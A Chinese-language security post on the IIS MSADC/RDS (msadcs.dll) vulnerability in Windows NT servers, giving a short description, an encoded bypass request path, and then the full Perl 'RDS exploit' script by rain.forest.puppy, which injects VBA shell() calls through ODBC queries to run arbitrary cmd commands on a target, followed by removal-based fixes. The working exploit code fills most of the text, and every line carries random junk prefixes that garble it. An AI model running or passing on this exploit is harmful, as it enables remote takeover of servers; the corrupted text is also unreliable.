IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
c': 4e) {6wXDZxv 涉及程序：
:i@
$s/ Microsoft NT server
$J,$_O6 n%i L+I 描述：
/=A@O !l 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
7~'%ThUb$- W- nS{v( 详细：
R rY Ntc 如果你没有时间读详细内容的话，就删除:
s0/m qZ]s c:\Program Files\Common Files\System\Msadc\msadcs.dll
:}/\hz
, 有关的安全问题就没有了。
e"XolM0IM 1$6
u 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
x K\i&A W1t_P&i 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
a? PH`5O 关于利用ODBC远程漏洞的描述，请参看:
@
'N $5 SW+;%+ ` http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm p9mGiK4! P4c3kO0 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
#o9CC)q5G http://www.microsoft.com/security/bulletins/MS99-025faq.asp :(tKc 3z (n jTS+? 这里不再论述。
Q u7ML]e?z ^P/OH uDL 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
rd$T6 !I -U?%A:,a| /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
|ITb1O`_P 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
UX.rzYM&T &jQqlQ j 8x7T K2r #将下面这段保存为txt文件，然后: "perl -x 文件名"
f~TkU\Rh XFl&(I4tB #!perl
hE'7M; #
~i'!;'-_} # MSADC/RDS 'usage' (aka exploit) script
SkVah:cF- #
X.,R%>O}`P # by rain.forest.puppy
_v,Wl/YAp #
[fb9;,x` # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
px+]/P <dX # beta test and find errors!
sCQV-%9 O&~
@ior use Socket; use Getopt::Std;
nU\.`.39
+ getopts("e:vd:h:XR", \%args);
hb/Z {T' f;l}Z|dok6 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
qs_cC3"=%= *8yC6|wL? if (!defined $args{h} && !defined $args{R}) {
bJR\d0Z print qq~
0]]OE+9<c Usage: msadc.pl -h <host> { -d <delay> -X -v }
vk( I7 -h <host> = host you want to scan (ip or domain)
l=S!cj ; -d <seconds> = delay between calls, default 1 second
| UQ [pas -X = dump Index Server path table, if available
5 INw#1~ -v = verbose
qf<o"B|_9 -e = external dictionary file for step 5
AE`{k-3=% j>
dZ26 >N Or a -R will resume a command session
.W2w/RayC `_ZbA#R , ~; exit;}
85] 'I%gT r ;H#cMj $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
pm i[M)D if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
EQZ/v gho if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
[)I
W9E
v if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
TM_bu $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Xa$%`
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
m6 xbO + 2Aggv>* if (!defined $args{R}){ $ret = &has_msadc;
yOb '] die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
m c @Z+t' Y( EF ):: print "Please type the NT commandline you want to run (cmd /c assumed):\n"
_z .CV< . "cmd /c ";
rd[mC[
r $in=<STDIN>; chomp $in;
\Ov~ t $command="cmd /c " . $in ;
4mX]JH`UTe X9^q-3&60 if (defined $args{R}) {&load; exit;}
dBN: ^% g 8OP print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
4Sdj#w &try_btcustmr;
/; 21?o qxZf!NX5 print "\nStep 2: Trying to make our own DSN...";
]2iIk=r$ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
a8k`Wog aE"dpY Q print "\nStep 3: Trying known DSNs...";
j"zW0g!S &known_dsn;
$~
d6KFT [=Nv=d<[p print "\nStep 4: Trying known .mdbs...";
q_BMZEM &known_mdb;
$,I@c"m{ G'nSnw if (defined $args{e}){
uz=9L<$ print "\nStep 5: Trying dictionary of DSN names...";
$!z .[GL &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
H{EZ} *{M4 HFz;"s3lWM print "Sorry Charley...maybe next time?\n";
EF=5[$
u exit;
L"jj D: r(n>N0:0Ls ##############################################################################
9~K+h/ 7W&XcF sub sendraw { # ripped and modded from whisker
^HI2Vp sleep($delay); # it's a DoS on the server! At least on mine...
4`RZ&w;1H2 my ($pstr)=@_;
9 uX 15a socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
{ W5
_KX die("Socket problems\n");
| &bucG= if(connect(S,pack "SnA4x8",2,80,$target)){
eU]I ! pI< select(S); $|=1;
mOLz(0 print $pstr; my @in=<S>;
{sq:vu@NC select(STDOUT); close(S);
7v.O Lp return @in;
g(Oor6Pp } else { die("Can't connect...\n"); }}
b 1."mT!p ~= otdJ ##############################################################################
X]GodqL\ X?`mYoe sub make_header { # make the HTTP request
[w+1<ou;j my $msadc=<<EOT
O\%0D.HEz POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Wm)I d_ User-Agent: ACTIVEDATA
7 V YhRC- Host: $ip
PVmePgF
Content-Length: $clen
a,fcR< Connection: Keep-Alive
<l+hcYam 0B~x8f ADCClientVersion:01.06
AB<b W3qf( Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
jOK !k -Wre4 ^,v --!ADM!ROX!YOUR!WORLD!
l$W)Vk<B(T Content-Type: application/x-varg
aan(69=jz Content-Length: $reqlen
jpMMnEVj6P d9T:0A`M EOT
Ry WfoLc ; $msadc=~s/\n/\r\n/g;
Uqly|FS &n return $msadc;}
!y2yS/ w2r* $Q ##############################################################################
3 rLc\rK <0jM07\< sub make_req { # make the RDS request
yK_$d0ZGE~ my ($switch, $p1, $p2)=@_;
|H 5$VSw my $req=""; my $t1, $t2, $query, $dsn;
=xb/zu( J10&iCr{r* if ($switch==1){ # this is the btcustmr.mdb query
8CvNcO;H0 $query="Select * from Customers where City=" . make_shell();
RE]*fRe7# $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$)=`Iai $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
1gLET.I: =">0\# elsif ($switch==2){ # this is general make table query
lg^Lk\Y+re $query="create table AZZ (B int, C varchar(10))";
|n(b>.X $dsn="$p1";}
PevT `\> 4v#s!W elsif ($switch==3){ # this is general exploit table query
!4YmaijeN $query="select * from AZZ where C=" . make_shell();
)2:U]d%pk $dsn="$p1";}
Y"m}=\4{ `vf]C' elsif ($switch==4){ # attempt to hork file info from index server
V.ae 5@; $query="select path from scope()";
UyDq`@h $dsn="Provider=MSIDXS;";}
U\[b qw ydE}.0zN elsif ($switch==5){ # bad query
zzT4+wy` $query="select";
Go[anf $dsn="$p1";}
I.%EYAai ~P*{%= a $t1= make_unicode($query);
f v A167\ $t2= make_unicode($dsn);
jgfr_"@A $req = "\x02\x00\x03\x00";
;g<y{o"Q3p $req.= "\x08\x00" . pack ("S1", length($t1));
^r{N^ $req.= "\x00\x00" . $t1 ;
aZo>3z; $req.= "\x08\x00" . pack ("S1", length($t2));
81)i>] $req.= "\x00\x00" . $t2 ;
un)PW&~E $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
x5M+\?I< 2 return $req;}
0}g~69Z1= pM*(
kN ##############################################################################
5`::#[ }CrWm Ju0 sub make_shell { # this makes the shell() statement
LvL2[xh%& return "'|shell(\"$command\")|'";}
71\GK VpED9l]y ##############################################################################
)6px5Vwz }%0X7' sub make_unicode { # quick little function to convert to unicode
._&SS,I5VZ my ($in)=@_; my $out;
! 'Hd:oD< for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
&(|x-OT return $out;}
Lo=n)cV 1, hXD/ ##############################################################################
e&NJj:Ph* X*hPE=2`
p sub rdo_success { # checks for RDO return success (this is kludge)
LFvZ 7M\\ my (@in) = @_; my $base=content_start(@in);
o
ethO if($in[$base]=~/multipart\/mixed/){
h)z2#qfc return 1 if( $in[$base+10]=~/^\x09\x00/ );}
[Y^h)k{-$ return 0;}
KNOVb=# f_ FRayB VHL ##############################################################################
?0lz!Nq'S &{ZUY3 sub make_dsn { # this makes a DSN for us
8T"kQB.Zv my @drives=("c","d","e","f");
U+!&~C^y print "\nMaking DSN: ";
ej \S c7. foreach $drive (@drives) {
!mUO/6Q hq print "$drive: ";
v
<OZ
#
L$ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
QI78/gT,d "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Q2*
~9QkU . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
|n~,{= $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
.-Dc%ap] return 0 if $2 eq "404"; # not found/doesn't exist
B|'}HBkP if($2 eq "200") {
YoWXHg! U foreach $line (@results) {
"|V}[ 2 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
,,lR\!>8 } return 0;}
jWdZ ]0m aP
B4!3W ##############################################################################
|f(*R _R ^sqzlF sub verify_exists {
$xjfW/k? M my ($page)=@_;
;WhRDmT my @results=sendraw("GET $page HTTP/1.0\n\n");
-"?~By}<C return $results[0];}
VmRfnH" ]bYmM@
##############################################################################
a X
Ie U} w@,6 sub try_btcustmr {
^ )C# my @drives=("c","d","e","f");
;<"V},
C my @dirs=("winnt","winnt35","winnt351","win","windows");
~ H/ZiBL@ ukRmjHbL f foreach $dir (@dirs) {
I&<'A [vHl print "$dir -> "; # fun status so you can see progress
!YZKa- foreach $drive (@drives) {
Ex
skd} print "$drive: "; # ditto
i'\-Y]?[ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
CO mu.'%* $reqlenlen=length( "$reqlen" );
W=OryEV? $clen= 206 + $reqlenlen + $reqlen;
1GB]Yi [> {7;QZk( my @results=sendraw(make_header() . make_req(1,$drive,$dir));
>y(lo Ml if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
B]E c else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
bbDm6, # z7yoP ##############################################################################
z4$9,p
` k 8%@PC$ sub odbc_error {
5UG9&:zu'V my (@in)=@_; my $base;
4=; j.=>0X my $base = content_start(@in);
gGx(mX._L? if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
%r*,m3d $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
oe0YxSauL $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
T<NOL fk66 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
|=![J? return $in[$base+4].$in[$base+5].$in[$base+6];}
GlRjbNW?Q print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
F w
t print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
%[M0TE=J $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
[Q J A1`6+8}o;b ##############################################################################
p<}y' 7( pU'>!<zGr sub verbose {
c h((u(G my ($in)=@_;
(n7{?`Yid return if !$verbose;
>]C/ Q6 print STDOUT "\n$in\n";}
$5&~gHc , I,HtW ), ##############################################################################
V\opC6*L_e ! H{>c@i sub save {
O:pg+o& my ($p1, $p2, $p3, $p4)=@_;
DT)] [V^w open(OUT, ">rds.save") || print "Problem saving parameters...\n";
k;2.g$)W[c print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
<>Dw8?O
close OUT;}
~TeOl|!lE+ 0a #v}w^ * ##############################################################################
(E&M[hH+ S]~5iO_bst sub load {
q9{) nU my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
/!A"[Tyt open(IN,"<rds.save") || die("Couldn't open rds.save\n");
!.q 9:|oc @p=<IN>; close(IN);
j(]O$" " $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
4z26a $target= inet_aton($ip) || die("inet_aton problems");
/c 7z[| print "Resuming to $ip ...";
&zJ*afi) $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
IYXN}M.= if($p[1]==1) {
WBkx!{\z $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
(Z[c7 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Sy4 |JM-5 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
(C"q-0 ?n if (rdo_success(@results)){print "Success!\n";}
#62ThH~ else { print "failed\n"; verbose(odbc_error(@results));}}
MSeg7/ MF elsif ($p[1]==3){
+PI}$c-|` if(run_query("$p[3]")){
V45adDiZ print "Success!\n";} else { print "failed\n"; }}
EzjK{v"> elsif ($p[1]==4){
Dq$1
j%4Y if(run_query($drvst . "$p[3]")){
?A_+G 5 print "Success!\n"; } else { print "failed\n"; }}
vNuws_ exit;}
!>80p~L OdY9g2y#m ##############################################################################
!G0Mg; , aX6}:"R2C sub create_table {
K[0z$T\
my ($in)=@_;
?wCX:? g $reqlen=length( make_req(2,$in,"") ) - 28;
#\n* Qg4p $reqlenlen=length( "$reqlen" );
D1 v0`od' $clen= 206 + $reqlenlen + $reqlen;
J5H K1 my @results=sendraw(make_header() . make_req(2,$in,""));
[u2t1^# Ol return 1 if rdo_success(@results);
9#&H'mG my $temp= odbc_error(@results); verbose($temp);
QRBx}!:NZ# return 1 if $temp=~/Table 'AZZ' already exists/;
C4.GtY8,d return 0;}
ag47 $9( t8h*SHD9 ##############################################################################
C58o="L3S nXoDI1<[ sub known_dsn {
/V/NL#(R # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
.74 C~{}$ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
a|oh Ad "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
HF_86 61 g "banner", "banners", "ads", "ADCDemo", "ADCTest");
hhZ%{l qL Ng*-Bw)p] foreach $dSn (@dsns) {
I^ ![)# FC print ".";
&Mudu/KTr next if (!is_access("DSN=$dSn"));
SlR//h if(create_table("DSN=$dSn")){
*.k*JsU~B print "$dSn successful\n";
U4K ZPk if(run_query("DSN=$dSn")){
Dv/7 w[F print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
DwGM+)! print "Something's borked. Use verbose next time\n";}}} print "\n";}
87+fd_G U0:*?uA. ##############################################################################
_8 0L/92 w)@Wug sub is_access {
R<6y7?]bZ my ($in)=@_;
ZCc23UwI $reqlen=length( make_req(5,$in,"") ) - 28;
tUc<ExvP , $reqlenlen=length( "$reqlen" );
*PL&CDu=) $clen= 206 + $reqlenlen + $reqlen;
4* >j:1 my @results=sendraw(make_header() . make_req(5,$in,""));
{4 Kvr4)4 my $temp= odbc_error(@results);
NQ 6oyg@& verbose($temp); return 1 if ($temp=~/Microsoft Access/);
GP hhg return 0;}
&;P\e 5=|h~/.k ##############################################################################
nYZ6'Iwi' pFNU~y'Kf sub run_query {
C5I7\ 9F) my ($in)=@_;
[Tbnfst $reqlen=length( make_req(3,$in,"") ) - 28;
zm5Pl G $reqlenlen=length( "$reqlen" );
Ti_G $clen= 206 + $reqlenlen + $reqlen;
Q*ELMib my @results=sendraw(make_header() . make_req(3,$in,""));
pInEB6L.P return 1 if rdo_success(@results);
Z Se30Rl\ my $temp= odbc_error(@results); verbose($temp);
*Ic^9njt return 0;}
GAYn*'< rnhLv$ ##############################################################################
K2xHXziQ \ Voly sub known_mdb {
;NdH]a { my @drives=("c","d","e","f","g");
0,DrVGa my @dirs=("winnt","winnt35","winnt351","win","windows");
>L4F'#I my $dir, $drive, $mdb;
2xO [ ?fR my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
FVrB#Hw~ Wd)\r.pJ # this is sparse, because I don't know of many
a4 ~B my @sysmdbs=( "\\catroot\\icatalog.mdb",
y _"V=: "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
X5J )1 rL "\\system32\\certmdb.mdb",
(E00T`@t0i "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
t7x<=rW7u W5`p Qd k my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
k@|px#kq "\\cfusion\\cfapps\\forums\\forums_.mdb",
$RY GAh "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
b:Zh|- "\\cfusion\\cfapps\\security\\realm_.mdb",
]3I a>i "\\cfusion\\cfapps\\security\\data\\realm.mdb",
qQ3Q4R\ "\\cfusion\\database\\cfexamples.mdb",
+O 7(
>a "\\cfusion\\database\\cfsnippets.mdb",
2h51zG#qd "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
-A
w]b} #v "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
rmkBp_i{| "\\cfusion\\brighttiger\\database\\cleam.mdb",
~<VxtcEBz "\\cfusion\\database\\smpolicy.mdb",
Z@Q*An "\\cfusion\\database\cypress.mdb",
g&2g>] "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Y3:HQ0w`| "\\website\\cgi-win\\dbsample.mdb",
BX[ IWP\% "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
E# (e2Z= "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
\z !lw ); #these are just
TA*}p=?6?! foreach $drive (@drives) {
b=MW;]F foreach $dir (@dirs){
^\O*e) #* foreach $mdb (@sysmdbs) {
Lr*PbjQDIY print ".";
C $+Q,guM if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
o<!H/PN print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
mp$IhJ6# if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
HLPRTta. print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
6z U } else { print "Something's borked. Use verbose next time\n"; }}}}}
A9BoH[is7 g{}<ptx] foreach $drive (@drives) {
*'8q?R?7g foreach $mdb (@mdbs) {
&57~i=A
3 print ".";
GZrN, M if(create_table($drv . $drive . $dir . $mdb)){
\X*y~)+K` print "\n" . $drive . $dir . $mdb . " successful\n";
}9\6!GY0 if(run_query($drv . $drive . $dir . $mdb)){
"M
iJM+, print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
U~ a\v8l~ } else { print "Something's borked. Use verbose next time\n"; }}}}
vP YHM2 }
2H9hN4 N !|4]V}JQ ##############################################################################
+\_\53 d"-I^|[OM sub hork_idx {
Ij4q &i" print "\nAttempting to dump Index Server tables...\n";
>Df; 1:U print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
zx\ -He $reqlen=length( make_req(4,"","") ) - 28;
`H:`JBe=+[ $reqlenlen=length( "$reqlen" );
'1 2*'Q+{+ $clen= 206 + $reqlenlen + $reqlen;
(n B[aM my @results=sendraw2(make_header() . make_req(4,"",""));
8493Sw if (rdo_success(@results)){
Ojl X<y. my $max=@results; my $c; my %d;
Ir>4- @ for($c=19; $c<$max; $c++){
Fw-Rv'\ $results[$c]=~s/\x00//g;
p#P<V% $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
M("sekL $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
^rq\kf*] $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
3h.,7,T $d{"$1$2"}="";}
I(R%j]LX& foreach $c (keys %d){ print "$c\n"; }
(,o@/ -o } else {print "Index server doesn't seem to be installed.\n"; }}
D
)` ( b 3)W_^6>bM ##############################################################################
!6X6_ +}M MCibYv c[ sub dsn_dict {
NYHK>u/5c open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Rf`_q7fm while(<IN>){
$6UU58>n $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
n^{h@u next if (!is_access("DSN=$dSn"));
/ YZMP'v if(create_table("DSN=$dSn")){
8~Zw" print "$dSn successful\n";
1\@PrO35J if(run_query("DSN=$dSn")){
9VTAs:0D= print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
%"(HjanH print "Something's borked. Use verbose next time\n";}}}
*8,W$pe3 print "\n"; close(IN);}
qVfn(rZ D%3$"4M7! ##############################################################################
64U|]g d$ ;Z0&sFm sub sendraw2 { # ripped and modded from whisker
|Y}YhUI & sleep($delay); # it's a DoS on the server! At least on mine...
/hqn>t my ($pstr)=@_;
'/UT0{2;rS socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
1- ^D2B[- die("Socket problems\n");
a_S`$(7k if(connect(S,pack "SnA4x8",2,80,$target)){
zOSUYn print "Connected. Getting data";
.GJbrz open(OUT,">raw.out"); my @in;
o>(<:^x9 select(S); $|=1; print $pstr;
EmO[-W|2 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
D1-w>Y# close(OUT); select(STDOUT); close(S); return @in;
<?IDCOt ? } else { die("Can't connect...\n"); }}
6|q"lS*$S {:"<E? + ##############################################################################
g)Hs d0 4rL`|| sub content_start { # this will take in the server headers
\,/ozfJ7dT my (@in)=@_; my $c;
T'7>4 MT( for ($c=1;$c<500;$c++) {
p 2l@6\m\ if($in[$c] =~/^\x0d\x0a/){
_J \zj if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
T2]8w1l&K else { return $c+1; }}}
`
~m/ return -1;} # it should never get here actually
@BnK C&{ Y1r'\@L w ##############################################################################
Gev\bQa |Tmug X7 sub funky {
3O*iv{-& my (@in)=@_; my $error=odbc_error(@in);
ZhCz]z~tj6 if($error=~/ADO could not find the specified provider/){
; sYDs71y print "\nServer returned an ADO miscofiguration message\nAborting.\n";
lGp:rw` exit;}
N9d^;6;i if($error=~/A Handler is required/){
g&p(Xu N print "\nServer has custom handler filters (they most likely are patched)\n";
R?lTB3" exit;}
WLU_t65 if($error=~/specified Handler has denied Access/){
fFbJE]jW print "\nServer has custom handler filters (they most likely are patched)\n";
:
^}!"4{ exit;}}
@ ^F {
{}'Jr1 ##############################################################################
mp sX4 9(HGe+R4o sub has_msadc {
6 @# =z my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
2Q(ZW@0 my $base=content_start(@results);
|j'@no_rv return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
H&*&n}vh5y return 0;}
X(d:!-_m * wsrdBxd5 ########################
} Tm+gJA aDz%
%%:r
?$A)lWk( 解决方案：
dMjQ V& 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
2<0".5+I 2、移除web 目录: /msadc
